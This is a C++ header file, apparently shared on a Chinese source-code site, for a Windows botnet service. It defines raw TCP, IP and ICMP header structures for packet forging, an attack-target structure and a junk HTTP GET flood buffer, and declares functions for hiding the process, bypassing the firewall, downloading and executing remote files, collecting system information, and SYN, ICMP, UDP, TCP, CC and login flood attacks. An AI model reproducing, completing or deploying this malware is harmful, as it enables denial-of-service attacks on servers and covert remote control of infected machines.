📄 service.h
字号:
#if !defined(AFX_HDSERVICE_H__BB6B4BC9_1F59_4E00_9F94_A3A04056EF82__INCLUDED_)
#define AFX_HDSERVICE_H__BB6B4BC9_1F59_4E00_9F94_A3A04056EF82__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "winsock2.h"
#include "Ws2tcpip.h"
typedef struct tcphdr //tcp头
{
USHORT th_sport; //16位源端口
USHORT th_dport; //16位目的端口
unsigned int th_seq; //32位序列号
unsigned int th_ack; //32位确认号
unsigned char th_lenres; //4位首部长度+6位保留字中的4位
unsigned char th_flag; //2位保留字+6位标志位
USHORT th_win; //16位窗口大小
USHORT th_sum; //16位校验和
USHORT th_urp; //16位紧急数据偏移量
}TCP_HEADER;
typedef struct _iphdr //ip头
{
unsigned char h_verlen; //4位首部长度+4位IP版本号
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度(字节)
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位
unsigned char ttl; //8位生存时间TTL
unsigned char proto; //8位协议号(TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IP_HEADER;
typedef struct tsd_hdr
{
unsigned long saddr;
unsigned long daddr;
char mbz;
char ptcl;
unsigned short tcpl;
}PSD_HEADER;
/*ICMP Header*/
typedef struct _icmphdr //定义ICMP首部
{
BYTE i_type; //8位类型
BYTE i_code; //8位代码
USHORT i_cksum; //16位校验和
USHORT i_id; //识别号(一般用进程号作为识别号)
USHORT i_seq; //报文序列号
ULONG timestamp; //时间戳
}ICMP_HEADER;
#define ICMP_ECHO 8
#define MAX_PACKET 4096
const char icmpBuffer[4000]=
"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^%$%^&**(*((&&*^&&%%^&*(*&$%$^%$#^*^%$##$.htm"
"GET ^*%%RFTGYHJIRTG*(&^%DFG(JKJHJ%^&*()*&*^&%.asp";
typedef struct _clientpara
{
char port[6];
char IP[32];
}CLIENTPARA;
typedef struct _fuckweb
{
int FuckType;//攻击类型
char FuckIP[100];//攻击IP
int FuckPort;//攻击端口
int thread;
}FUCKWEB;//攻击信息结构体
typedef struct _tagSytemInit
{
int nothing;
int Pass;
char computer[32];
char MemorySize[20];
char os[12];
char version[12];
}SYSTEMINIT;//操作系统信息结构体
LRESULT CALLBACK WndProc(HWND hWnd,UINT message,WPARAM wParam,LPARAM lParam);
void WINAPI ServiceMain(DWORD dwArgc,LPTSTR *lpszArgv);
void WINAPI Handler(DWORD Opcode);
int RestoreService();
bool StopMyService();
bool StartMyService();
bool HideProcess();
int start();
void uninstall(void);
unsigned long CALLBACK MainProc(LPVOID pParam);
void ByPassFireWall();
bool GetSystemInfo(SYSTEMINIT& sysinfo);
LRESULT OnDeviceChange(HWND hwnd,WPARAM wParam, LPARAM lParam);
char* GetHttpFile(char url[]);
bool doHTTP(char* ServerName,DWORD port,char* ActionFile, char* Method,char* HttpHeaders, char* FormData);
void DownExec(char url[]);
void OpenUrl(char url[]);
unsigned long CALLBACK SocketThreadProc(LPVOID pParam);
//synflood
USHORT checksum(USHORT *buffer,int size);
unsigned long resolve(char *host);
unsigned long CALLBACK SynFlood(LPVOID dParam);
//icmp flood
void fill_icmp_data(char *icmp_data, int datasize);
unsigned long CALLBACK icmp_flood(LPVOID dParam);
//UDP attack
unsigned long CALLBACK UDP_flood(LPVOID dParam);
unsigned long CALLBACK Pjam_attack(LPVOID dParam);
//TCP attack
unsigned long CALLBACK TCP_flood(LPVOID dParam);
unsigned long CALLBACK connect_break(LPVOID dParam);
unsigned long CALLBACK TCP_connect(LPVOID dParam);
//web attack
unsigned long CALLBACK nocache_get(LPVOID dParam);
unsigned long CALLBACK cc_attack(LPVOID dParam);
unsigned long CALLBACK null_get(LPVOID dParam);
unsigned long CALLBACK Login_Attack(LPVOID dParam);
#endif // !defined(AFX_HDSERVICE_H__BB6B4BC9_1F59_4E00_9F94_A3A04056EF82__INCLUDED_)
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -